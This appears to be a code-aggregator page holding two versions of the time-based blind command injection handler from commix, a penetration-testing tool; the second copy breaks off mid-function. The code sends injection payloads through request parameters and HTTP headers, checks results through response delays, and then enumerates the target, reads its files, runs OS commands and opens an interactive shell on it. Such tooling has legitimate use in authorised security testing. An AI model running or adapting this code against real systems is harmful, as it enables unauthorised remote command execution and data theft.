示例#1
0
def tb_injection_handler(url, timesec, filename, http_request_method,
                         url_time_response):

    counter = 1
    num_of_chars = 1
    vp_flag = True
    no_result = True
    is_encoded = False
    possibly_vulnerable = False
    false_positive_warning = False
    export_injection_info = False
    how_long = 0
    injection_type = "blind OS command injection"
    technique = "time-based command injection technique"

    if settings.VERBOSITY_LEVEL >= 1:
        info_msg = "Testing the " + "(" + injection_type.split(
            " ")[0] + ") " + technique + "... "
        print settings.print_info_msg(info_msg)

    # Check if defined "--maxlen" option.
    if menu.options.maxlen:
        maxlen = settings.MAXLEN

    # Check if defined "--url-reload" option.
    if menu.options.url_reload == True:
        warn_msg = "The '--url-reload' option is not available in " + technique + "."
        print settings.print_warning_msg(warn_msg)

    #whitespace = checks.check_whitespaces()
    # Calculate all possible combinations
    total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(
        settings.SEPARATORS) * len(settings.SUFFIXES)
    for whitespace in settings.WHITESPACE:
        for prefix in settings.PREFIXES:
            for suffix in settings.SUFFIXES:
                for separator in settings.SEPARATORS:
                    # Check injection state
                    settings.DETECTION_PHASE = True
                    settings.EXPLOITATION_PHASE = False
                    # If a previous session is available.
                    how_long_statistic = []
                    if settings.LOAD_SESSION and session_handler.notification(
                            url, technique, injection_type):
                        try:
                            settings.TIME_BASED_STATE = True
                            cmd = shell = ""
                            url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                                url, http_request_method)
                            checks.check_for_stored_tamper(payload)
                            settings.FOUND_HOW_LONG = how_long
                            settings.FOUND_DIFF = how_long - timesec
                        except TypeError:
                            err_msg = "An error occurred while accessing session file ('"
                            err_msg += settings.SESSION_FILE + "'). "
                            err_msg += "Use the '--flush-session' option."
                            print settings.print_critical_msg(err_msg)
                            raise SystemExit()

                    if settings.RETEST == True:
                        settings.RETEST = False
                        from src.core.injections.results_based.techniques.classic import cb_handler
                        cb_handler.exploitation(url, timesec, filename,
                                                http_request_method)

                    if not settings.LOAD_SESSION:
                        num_of_chars = num_of_chars + 1
                        # Check for bad combination of prefix and separator
                        combination = prefix + separator
                        if combination in settings.JUNK_COMBINATION:
                            prefix = ""

                        # Define alter shell
                        alter_shell = menu.options.alter_shell

                        # Change TAG on every request to prevent false-positive results.
                        TAG = ''.join(
                            random.choice(string.ascii_uppercase)
                            for num_of_chars in range(6))
                        tag_length = len(TAG) + 4

                        for output_length in range(1, int(tag_length)):
                            try:
                                if alter_shell:
                                    # Time-based decision payload (check if host is vulnerable).
                                    payload = tb_payloads.decision_alter_shell(
                                        separator, TAG, output_length, timesec,
                                        http_request_method)
                                else:
                                    # Time-based decision payload (check if host is vulnerable).
                                    payload = tb_payloads.decision(
                                        separator, TAG, output_length, timesec,
                                        http_request_method)

                                # Fix prefixes / suffixes
                                payload = parameters.prefixes(payload, prefix)
                                payload = parameters.suffixes(payload, suffix)

                                # Whitespace fixation
                                payload = payload.replace(" ", whitespace)

                                # Perform payload modification
                                payload = checks.perform_payload_modification(
                                    payload)

                                # Check if defined "--verbose" option.
                                if settings.VERBOSITY_LEVEL == 1:
                                    payload_msg = payload.replace("\n", "\\n")
                                    print settings.print_payload(payload_msg)
                                # Check if defined "--verbose" option.
                                elif settings.VERBOSITY_LEVEL > 1:
                                    info_msg = "Generating a payload for injection..."
                                    print settings.print_info_msg(info_msg)
                                    payload_msg = payload.replace("\n", "\\n")
                                    sys.stdout.write(
                                        settings.print_payload(payload_msg) +
                                        "\n")

                                # Cookie header injection
                                if settings.COOKIE_INJECTION == True:
                                    # Check if target host is vulnerable to cookie header injection.
                                    vuln_parameter = parameters.specify_cookie_parameter(
                                        menu.options.cookie)
                                    how_long = tb_injector.cookie_injection_test(
                                        url, vuln_parameter, payload)

                                # User-Agent HTTP header injection
                                elif settings.USER_AGENT_INJECTION == True:
                                    # Check if target host is vulnerable to user-agent HTTP header injection.
                                    vuln_parameter = parameters.specify_user_agent_parameter(
                                        menu.options.agent)
                                    how_long = tb_injector.user_agent_injection_test(
                                        url, vuln_parameter, payload)

                                # Referer HTTP header injection
                                elif settings.REFERER_INJECTION == True:
                                    # Check if target host is vulnerable to referer HTTP header injection.
                                    vuln_parameter = parameters.specify_referer_parameter(
                                        menu.options.referer)
                                    how_long = tb_injector.referer_injection_test(
                                        url, vuln_parameter, payload)

                                # Host HTTP header injection
                                elif settings.HOST_INJECTION == True:
                                    # Check if target host is vulnerable to host HTTP header injection.
                                    vuln_parameter = parameters.specify_host_parameter(
                                        menu.options.host)
                                    how_long = tb_injector.host_injection_test(
                                        url, vuln_parameter, payload)

                                # Custom HTTP header Injection
                                elif settings.CUSTOM_HEADER_INJECTION == True:
                                    # Check if target host is vulnerable to custom http header injection.
                                    vuln_parameter = parameters.specify_custom_header_parameter(
                                        settings.INJECT_TAG)
                                    how_long = tb_injector.custom_header_injection_test(
                                        url, vuln_parameter, payload)

                                else:
                                    # Check if target host is vulnerable.
                                    how_long, vuln_parameter = tb_injector.injection_test(
                                        payload, http_request_method, url)

                                # Statistical analysis in time responses.
                                how_long_statistic.append(how_long)

                                # Injection percentage calculation
                                percent = ((num_of_chars * 100) / total)
                                float_percent = "{0:.1f}".format(
                                    round(
                                        ((num_of_chars * 100) / (total * 1.0)),
                                        2))

                                if percent == 100 and no_result == True:
                                    if not settings.VERBOSITY_LEVEL >= 1:
                                        percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                    else:
                                        percent = ""
                                else:
                                    if (url_time_response == 0 and (how_long - timesec) >= 0) or \
                                       (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
                                       (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :

                                        # Time relative false positive fixation.
                                        false_positive_fixation = False
                                        if len(TAG) == output_length:

                                            # Simple statical analysis
                                            statistical_anomaly = True
                                            if len(set(how_long_statistic[0:5])
                                                   ) == 1:
                                                if max(xrange(
                                                        len(how_long_statistic)
                                                ),
                                                       key=lambda x:
                                                       how_long_statistic[
                                                           x]) == len(TAG) - 1:
                                                    statistical_anomaly = False
                                                    how_long_statistic = []

                                            if timesec <= how_long and not statistical_anomaly:
                                                false_positive_fixation = True
                                            else:
                                                false_positive_warning = True

                                        # Identified false positive warning message.
                                        if false_positive_warning:
                                            warn_msg = "Unexpected time delays have been identified due to unstable "
                                            warn_msg += "requests. This behavior may lead to false-positive results.\n"
                                            sys.stdout.write(
                                                "\r" +
                                                settings.print_warning_msg(
                                                    warn_msg))
                                            while True:
                                                if not menu.options.batch:
                                                    question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
                                                    sys.stdout.write(
                                                        settings.
                                                        print_question_msg(
                                                            question_msg))
                                                    proceed_option = sys.stdin.readline(
                                                    ).replace("\n",
                                                              "").lower()
                                                else:
                                                    proceed_option = ""
                                                if len(proceed_option) == 0:
                                                    proceed_option = "c"
                                                if proceed_option.lower(
                                                ) in settings.CHOICE_PROCEED:
                                                    if proceed_option.lower(
                                                    ) == "s":
                                                        false_positive_fixation = False
                                                        raise
                                                    elif proceed_option.lower(
                                                    ) == "c":
                                                        timesec = timesec + 1
                                                        false_positive_fixation = True
                                                        break
                                                    elif proceed_option.lower(
                                                    ) == "q":
                                                        raise SystemExit()
                                                else:
                                                    err_msg = "'" + proceed_option + "' is not a valid answer."
                                                    print settings.print_error_msg(
                                                        err_msg)
                                                    pass

                                        # Check if false positive fixation is True.
                                        if false_positive_fixation:
                                            false_positive_fixation = False
                                            settings.FOUND_HOW_LONG = how_long
                                            settings.FOUND_DIFF = how_long - timesec
                                            if false_positive_warning:
                                                time.sleep(1)
                                            randv1 = random.randrange(1, 10)
                                            randv2 = random.randrange(1, 10)
                                            randvcalc = randv1 + randv2

                                            if settings.TARGET_OS == "win":
                                                if alter_shell:
                                                    cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(
                                                        randv1) + " + " + str(
                                                            randv2) + ")\""
                                                else:
                                                    cmd = "powershell.exe -InputFormat none write (" + str(
                                                        randv1) + " + " + str(
                                                            randv2) + ")"
                                            else:
                                                cmd = "expr " + str(
                                                    randv1) + " %2B " + str(
                                                        randv2) + ""

                                            # Set the original delay time
                                            original_how_long = how_long

                                            # Check for false positive resutls
                                            how_long, output = tb_injector.false_positive_check(
                                                separator, TAG, cmd,
                                                whitespace, prefix, suffix,
                                                timesec, http_request_method,
                                                url, vuln_parameter, randvcalc,
                                                alter_shell, how_long,
                                                url_time_response)

                                            if (url_time_response == 0 and (how_long - timesec) >= 0) or \
                                               (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
                                               (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :

                                                if str(output) == str(
                                                        randvcalc) and len(
                                                            TAG
                                                        ) == output_length:
                                                    possibly_vulnerable = True
                                                    how_long_statistic = 0
                                                    if not settings.VERBOSITY_LEVEL >= 1:
                                                        percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                                                    else:
                                                        percent = ""
                                            else:
                                                break
                                        # False positive
                                        else:
                                            if not settings.VERBOSITY_LEVEL >= 1:
                                                percent = str(
                                                    float_percent) + "%"
                                                info_msg = "Testing the " + "(" + injection_type.split(
                                                    " "
                                                )[0] + ") " + technique + "... " + "[ " + percent + " ]"
                                                sys.stdout.write(
                                                    "\r" +
                                                    settings.print_info_msg(
                                                        info_msg))
                                                sys.stdout.flush()
                                            continue
                                    else:
                                        if not settings.VERBOSITY_LEVEL >= 1:
                                            percent = str(float_percent) + "%"
                                            info_msg = "Testing the " + "(" + injection_type.split(
                                                " "
                                            )[0] + ") " + technique + "... " + "[ " + percent + " ]"
                                            sys.stdout.write(
                                                "\r" + settings.print_info_msg(
                                                    info_msg))
                                            sys.stdout.flush()
                                        continue
                                if not settings.VERBOSITY_LEVEL >= 1:
                                    info_msg = "Testing the " + "(" + injection_type.split(
                                        " "
                                    )[0] + ") " + technique + "... " + "[ " + percent + " ]"
                                    sys.stdout.write(
                                        "\r" +
                                        settings.print_info_msg(info_msg))
                                    sys.stdout.flush()

                            except KeyboardInterrupt:
                                raise

                            except SystemExit:
                                raise

                            except EOFError:
                                err_msg = "Exiting, due to EOFError."
                                print settings.print_error_msg(err_msg)
                                raise

                            except:
                                percent = ((num_of_chars * 100) / total)
                                float_percent = "{0:.1f}".format(
                                    round(
                                        ((num_of_chars * 100) / (total * 1.0)),
                                        2))
                                if str(float_percent) == "100.0":
                                    if no_result == True:
                                        if not settings.VERBOSITY_LEVEL >= 1:
                                            percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                            info_msg = "Testing the " + "(" + injection_type.split(
                                                " "
                                            )[0] + ") " + technique + "... " + "[ " + percent + " ]"
                                            sys.stdout.write(
                                                "\r" + settings.print_info_msg(
                                                    info_msg))
                                            sys.stdout.flush()
                                        else:
                                            percent = ""
                                    else:
                                        percent = str(float_percent) + "%"
                                        print ""
                                        # Print logs notification message
                                        logs.logs_notification(filename)
                                    #raise
                                else:
                                    percent = str(float_percent) + "%"
                            break

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if (url_time_response == 0 and (how_long - timesec) >= 0) or \
                       (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
                       (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
                        if (len(TAG) == output_length) and \
                           (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):

                            found = True
                            no_result = False
                            # Check injection state
                            settings.DETECTION_PHASE = False
                            settings.EXPLOITATION_PHASE = True
                            if settings.LOAD_SESSION:
                                possibly_vulnerable = False

                            if settings.COOKIE_INJECTION == True:
                                header_name = " cookie"
                                found_vuln_parameter = vuln_parameter
                                the_type = " parameter"

                            elif settings.USER_AGENT_INJECTION == True:
                                header_name = " User-Agent"
                                found_vuln_parameter = ""
                                the_type = " HTTP header"

                            elif settings.REFERER_INJECTION == True:
                                header_name = " Referer"
                                found_vuln_parameter = ""
                                the_type = " HTTP header"

                            elif settings.CUSTOM_HEADER_INJECTION == True:
                                header_name = " " + settings.CUSTOM_HEADER_NAME
                                found_vuln_parameter = ""
                                the_type = " HTTP header"

                            else:
                                header_name = ""
                                the_type = " parameter"
                                if http_request_method == "GET":
                                    found_vuln_parameter = parameters.vuln_GET_param(
                                        url)
                                else:
                                    found_vuln_parameter = vuln_parameter

                            if len(found_vuln_parameter) != 0:
                                found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                            # Print the findings to log file.
                            if export_injection_info == False:
                                export_injection_info = logs.add_type_and_technique(
                                    export_injection_info, filename,
                                    injection_type, technique)
                            if vp_flag == True:
                                vp_flag = logs.add_parameter(
                                    vp_flag, filename, the_type, header_name,
                                    http_request_method, vuln_parameter,
                                    payload)
                            logs.update_payload(filename, counter, payload)
                            counter = counter + 1

                            if not settings.LOAD_SESSION:
                                if not settings.VERBOSITY_LEVEL >= 1:
                                    print ""
                                else:
                                    checks.total_of_requests()

                            # Print the findings to terminal.
                            success_msg = "The"
                            if len(found_vuln_parameter
                                   ) > 0 and not "cookie" in header_name:
                                success_msg += " " + http_request_method
                            success_msg += ('', ' (JSON)')[
                                settings.IS_JSON] + ('', ' (SOAP/XML)')[
                                    settings.IS_XML] + the_type + header_name
                            success_msg += found_vuln_parameter + " seems injectable via "
                            success_msg += "(" + injection_type.split(
                                " ")[0] + ") " + technique + "."
                            print settings.print_success_msg(success_msg)
                            print settings.SUB_CONTENT_SIGN + "Payload: " + str(
                                checks.url_decode(payload)) + Style.RESET_ALL
                            # Export session
                            if not settings.LOAD_SESSION:
                                shell = ""
                                session_handler.injection_point_importation(
                                    url,
                                    technique,
                                    injection_type,
                                    separator,
                                    shell,
                                    vuln_parameter,
                                    prefix,
                                    suffix,
                                    TAG,
                                    alter_shell,
                                    payload,
                                    http_request_method,
                                    url_time_response,
                                    timesec,
                                    original_how_long,
                                    output_length,
                                    is_vulnerable=menu.options.level)
                                #possibly_vulnerable = False
                            else:
                                settings.LOAD_SESSION = False

                            new_line = False
                            # Check for any enumeration options.
                            if settings.ENUMERATION_DONE == True:
                                while True:
                                    if not menu.options.batch:
                                        question_msg = "Do you want to enumerate again? [Y/n] > "
                                        enumerate_again = raw_input(
                                            "\n" + settings.print_question_msg(
                                                question_msg)).lower()
                                    else:
                                        enumerate_again = ""
                                    if len(enumerate_again) == 0:
                                        enumerate_again = "y"
                                    if enumerate_again in settings.CHOICE_YES:
                                        tb_enumeration.do_check(
                                            separator, maxlen, TAG, cmd,
                                            prefix, suffix, whitespace,
                                            timesec, http_request_method, url,
                                            vuln_parameter, alter_shell,
                                            filename, url_time_response)
                                        print ""
                                        break
                                    elif enumerate_again in settings.CHOICE_NO:
                                        new_line = True
                                        break
                                    elif enumerate_again in settings.CHOICE_QUIT:
                                        raise SystemExit()
                                    else:
                                        err_msg = "'" + enumerate_again + "' is not a valid answer."
                                        print settings.print_error_msg(err_msg)
                                        pass
                            else:
                                if menu.enumeration_options():
                                    tb_enumeration.do_check(
                                        separator, maxlen, TAG, cmd, prefix,
                                        suffix, whitespace, timesec,
                                        http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        url_time_response)
                                    print ""

                            # Check for any system file access options.
                            if settings.FILE_ACCESS_DONE == True:
                                print ""
                                while True:
                                    if not menu.options.batch:
                                        question_msg = "Do you want to access files again? [Y/n] > "
                                        sys.stdout.write(
                                            settings.print_question_msg(
                                                question_msg))
                                        file_access_again = sys.stdin.readline(
                                        ).replace("\n", "").lower()
                                    else:
                                        file_access_again = ""
                                    if len(file_access_again) == 0:
                                        file_access_again = "y"
                                    if file_access_again in settings.CHOICE_YES:
                                        tb_file_access.do_check(
                                            separator, maxlen, TAG, cmd,
                                            prefix, suffix, whitespace,
                                            timesec, http_request_method, url,
                                            vuln_parameter, alter_shell,
                                            filename, url_time_response)
                                        break
                                    elif file_access_again in settings.CHOICE_NO:
                                        if not new_line:
                                            new_line = True
                                        break
                                    elif file_access_again in settings.CHOICE_QUIT:
                                        raise SystemExit()
                                    else:
                                        err_msg = "'" + file_access_again + "' is not a valid answer."
                                        print settings.print_error_msg(err_msg)
                                        pass
                            else:
                                # if not menu.enumeration_options() and not menu.options.os_cmd:
                                #   print ""
                                tb_file_access.do_check(
                                    separator, maxlen, TAG, cmd, prefix,
                                    suffix, whitespace, timesec,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, url_time_response)

                            # Check if defined single cmd.
                            if menu.options.os_cmd:
                                cmd = menu.options.os_cmd
                                check_how_long, output = tb_enumeration.single_os_cmd_exec(
                                    separator, maxlen, TAG, cmd, prefix,
                                    suffix, whitespace, timesec,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, url_time_response)
                                # Export injection result
                                tb_injector.export_injection_results(
                                    cmd, separator, output, check_how_long)
                                print ""
                                logs.print_logs_notification(filename, url)
                                raise SystemExit()

                            if not new_line:
                                print ""

                            # Pseudo-Terminal shell
                            go_back = False
                            go_back_again = False
                            while True:
                                if go_back == True:
                                    break
                                if not menu.options.batch:
                                    question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                                    sys.stdout.write(
                                        settings.print_question_msg(
                                            question_msg))
                                    gotshell = sys.stdin.readline().replace(
                                        "\n", "").lower()
                                else:
                                    gotshell = ""
                                if len(gotshell) == 0:
                                    gotshell = "y"
                                if gotshell in settings.CHOICE_YES:
                                    if not menu.options.batch:
                                        print ""
                                    print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                                    if readline_error:
                                        checks.no_readline_module()
                                    while True:
                                        if false_positive_warning:
                                            warn_msg = "Due to unexpected time delays, it is highly "
                                            warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
                                            sys.stdout.write(
                                                "\r" +
                                                settings.print_warning_msg(
                                                    warn_msg))
                                            false_positive_warning = False
                                        try:
                                            # Tab compliter
                                            if not readline_error:
                                                readline.set_completer(
                                                    menu.tab_completer)
                                                # MacOSX tab compliter
                                                if getattr(
                                                        readline, '__doc__', ''
                                                ) is not None and 'libedit' in getattr(
                                                        readline, '__doc__',
                                                        ''):
                                                    readline.parse_and_bind(
                                                        "bind ^I rl_complete")
                                                # Unix tab compliter
                                                else:
                                                    readline.parse_and_bind(
                                                        "tab: complete")
                                            cmd = raw_input("""commix(""" +
                                                            Style.BRIGHT +
                                                            Fore.RED +
                                                            """os_shell""" +
                                                            Style.RESET_ALL +
                                                            """) > """)
                                            cmd = checks.escaped_cmd(cmd)
                                            if cmd.lower(
                                            ) in settings.SHELL_OPTIONS:
                                                go_back, go_back_again = shell_options.check_option(
                                                    separator,
                                                    TAG,
                                                    cmd,
                                                    prefix,
                                                    suffix,
                                                    whitespace,
                                                    http_request_method,
                                                    url,
                                                    vuln_parameter,
                                                    alter_shell,
                                                    filename,
                                                    technique,
                                                    go_back,
                                                    no_result,
                                                    timesec,
                                                    go_back_again,
                                                    payload,
                                                    OUTPUT_TEXTFILE="")
                                                if go_back and go_back_again == False:
                                                    break
                                                if go_back and go_back_again:
                                                    return True
                                            else:
                                                if menu.options.ignore_session or \
                                                   session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                                                    # The main command injection exploitation.
                                                    check_how_long, output = tb_injector.injection(
                                                        separator, maxlen, TAG,
                                                        cmd, prefix, suffix,
                                                        whitespace, timesec,
                                                        http_request_method,
                                                        url, vuln_parameter,
                                                        alter_shell, filename,
                                                        url_time_response)
                                                    # Export injection result
                                                    tb_injector.export_injection_results(
                                                        cmd, separator, output,
                                                        check_how_long)
                                                    if not menu.options.ignore_session:
                                                        session_handler.store_cmd(
                                                            url, cmd, output,
                                                            vuln_parameter)
                                                else:
                                                    output = session_handler.export_stored_cmd(
                                                        url, cmd,
                                                        vuln_parameter)
                                                    print "\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
                                                # Update logs with executed cmds and execution results.
                                                logs.executed_command(
                                                    filename, cmd, output)
                                                print ""

                                        except KeyboardInterrupt:
                                            raise

                                        except SystemExit:
                                            raise

                                        except EOFError:
                                            err_msg = "Exiting, due to EOFError."
                                            print settings.print_error_msg(
                                                err_msg)
                                            raise

                                elif gotshell in settings.CHOICE_NO:
                                    if checks.next_attack_vector(
                                            technique, go_back) == True:
                                        break
                                    else:
                                        if no_result == True:
                                            return False
                                        else:
                                            return True

                                elif gotshell in settings.CHOICE_QUIT:
                                    raise SystemExit()

                                else:
                                    err_msg = "'" + gotshell + "' is not a valid answer."
                                    print settings.print_error_msg(err_msg)
                                    pass
                                break

    if no_result == True:
        if settings.VERBOSITY_LEVEL == 0:
            print ""
        return False

    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
示例#2
0
文件: tb_handler.py 项目: BwRy/commix
def tb_injection_handler(url, delay, filename, http_request_method, url_time_response):

  percent = 0
  counter = 1
  num_of_chars = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  is_vulnerable = False
  export_injection_info = False
  how_long = 0
  injection_type = "Blind Command Injection"
  technique = "time-based injection technique"

  # Check if defined "--maxlen" option.
  if menu.options.maxlen:
    maxlen = settings.MAXLEN
    
  # Check if defined "--url-reload" option.
  if menu.options.url_reload == True:
    print Fore.YELLOW + "(^) Warning: The '--url-reload' option is not available in "+ technique +"." + Style.RESET_ALL
  
  percent = str(percent)+"%"
  sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
  sys.stdout.flush()

  # Calculate all possible combinations
  total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))

  for prefix in settings.PREFIXES:
    for suffix in settings.SUFFIXES:
      for separator in settings.SEPARATORS:
        num_of_chars = num_of_chars + 1

        # Check for bad combination of prefix and separator
        combination = prefix + separator
        if combination in settings.JUNK_COMBINATION:
          prefix = ""
        
        # Define alter shell
        alter_shell = menu.options.alter_shell
        
        # Change TAG on every request to prevent false-positive results.
        TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
        tag_length = len(TAG) + 4
        
        for output_length in range(1, int(tag_length)):
          try:

            # Log previous 'how_long' for later comparison
            previous_how_long = how_long

            if alter_shell:
              # Time-based decision payload (check if host is vulnerable).
              payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, delay, http_request_method)
            else:
              # Time-based decision payload (check if host is vulnerable).
              payload = tb_payloads.decision(separator, TAG, output_length, delay, http_request_method)

            # Fix prefixes / suffixes
            payload = parameters.prefixes(payload, prefix)
            payload = parameters.suffixes(payload, suffix)

            if menu.options.base64:
              payload = base64.b64encode(payload)

            # Check if defined "--verbose" option.
            if menu.options.verbose:
              sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL)

            # Cookie Injection
            if settings.COOKIE_INJECTION == True:
              # Check if target host is vulnerable to cookie injection.
              vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
              how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload)

            # User-Agent Injection
            elif settings.USER_AGENT_INJECTION == True:
              # Check if target host is vulnerable to user-agent injection.
              vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
              how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload)

            # Referer Injection
            elif settings.REFERER_INJECTION == True:
              # Check if target host is vulnerable to referer injection.
              vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
              how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload)

            else:
              # Check if target host is vulnerable.
              how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url)
            
            # Injection percentage calculation
            percent = ((num_of_chars * 100) / total)
            float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2))

            if percent == 100 and no_result == True:
              if not menu.options.verbose:
                percent = Fore.RED + "FAILED" + Style.RESET_ALL
              else:
                percent = ""

            else:
              if how_long == previous_how_long + delay:
                # Time relative false positive fixation.
                if len(TAG) == output_length:
                  tmp_how_long = how_long
                  randv1 = random.randrange(0, 1)
                  randv2 = random.randrange(1, 2)
                  randvcalc = randv1 + randv2
                  cmd = "(" + str(randv1) + "+" + str(randv2) + ")"

                  # Check for false positive resutls
                  how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long)
                  
                  if str(tmp_how_long) == str(how_long) and \
                     str(output) == str(randvcalc) and \
                     len(TAG) == output_length:

                    is_vulnerable = True
                    if not menu.options.verbose:
                      percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                    else:
                      percent = ""
                  else:
                    break
                # False positive
                else:
                  continue
              else:
                percent = str(float_percent)+"%"
                
            if not menu.options.verbose:
              sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
              sys.stdout.flush()

          except KeyboardInterrupt: 
            raise

          except SystemExit:
            raise

          except:
            break
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if how_long == previous_how_long + delay:
            if (len(TAG) == output_length) and (is_vulnerable == True):
              found = True
              no_result = False
              is_vulnerable = False

              if settings.COOKIE_INJECTION == True: 
                header_name = " Cookie"
                found_vuln_parameter = vuln_parameter
                the_type = " HTTP header"

              elif settings.USER_AGENT_INJECTION == True: 
                header_name = " User-Agent"
                found_vuln_parameter = ""
                the_type = " HTTP header"

              elif settings.REFERER_INJECTION == True: 
                header_name = " Referer"
                found_vuln_parameter = ""
                the_type = " HTTP header"
                
              else:
                header_name = ""
                the_type = " parameter"
                if http_request_method == "GET":
                  found_vuln_parameter = parameters.vuln_GET_param(url)
                else :
                  found_vuln_parameter = vuln_parameter

              if len(found_vuln_parameter) != 0 :
                found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 
              
              # Print the findings to log file.
              if export_injection_info == False:
                export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
              if vp_flag == True:
                vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
              logs.update_payload(filename, counter, payload) 
              counter = counter + 1
              
              # Print the findings to terminal.
              print Style.BRIGHT + "\n(!) The ("+ http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to "+ injection_type + "." + Style.RESET_ALL
              print "  (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
              print "  (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
              print "  (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL

              # Check for any enumeration options.
              if settings.ENUMERATION_DONE == True:
                while True:
                  enumerate_again = raw_input("\n(?) Do you want to enumerate again? [Y/n/q] > ").lower()
                  if enumerate_again in settings.CHOISE_YES:
                    tb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
                    break
                  elif enumerate_again in settings.CHOISE_NO: 
                    break
                  elif enumerate_again in settings.CHOISE_QUIT:
                    sys.exit(0)
                  else:
                    if enumerate_again == "":
                      enumerate_again = "enter"
                    print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
                    pass
              else:
                tb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)

              # Check for any system file access options.
              if settings.FILE_ACCESS_DONE == True:
                while True:
                  file_access_again = raw_input("(?) Do you want to access files again? [Y/n/q] > ").lower()
                  if file_access_again in settings.CHOISE_YES:
                    tb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
                    break
                  elif file_access_again in settings.CHOISE_NO: 
                    break
                  elif file_access_again in settings.CHOISE_QUIT:
                    sys.exit(0)
                  else:
                    if file_access_again == "":
                      file_access_again = "enter"
                    print Back.RED + "(x) Error: '" + file_access_again  + "' is not a valid answer." + Style.RESET_ALL
                    pass
              else:
                tb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)

              # Check if defined single cmd.
              if menu.options.os_cmd:
                cmd = menu.options.os_cmd
                check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
                # Exploirt injection result
                tb_injector.export_injection_results(cmd, separator, output, check_how_long)
                sys.exit(0)

              # Pseudo-Terminal shell
              go_back = False
              go_back_again = False
              while True:
                if go_back == True:
                  break
                gotshell = raw_input("(?) Do you want a Pseudo-Terminal? [Y/n/q] > ").lower()
                if gotshell in settings.CHOISE_YES:
                  print ""
                  print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                  while True:
                    try:
                      # Tab compliter
                      readline.set_completer(menu.tab_completer)
                      readline.parse_and_bind("tab: complete")
                      cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                      cmd = checks.escaped_cmd(cmd)
                      if cmd.lower() in settings.SHELL_OPTIONS:
                        os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) 
                        if os_shell_option == False:
                          if no_result == True:
                            return False
                          else:
                            return True
                        elif os_shell_option == "quit":                    
                          sys.exit(0)
                        elif os_shell_option == "back":
                          go_back = True
                          break
                        elif os_shell_option == "os_shell": 
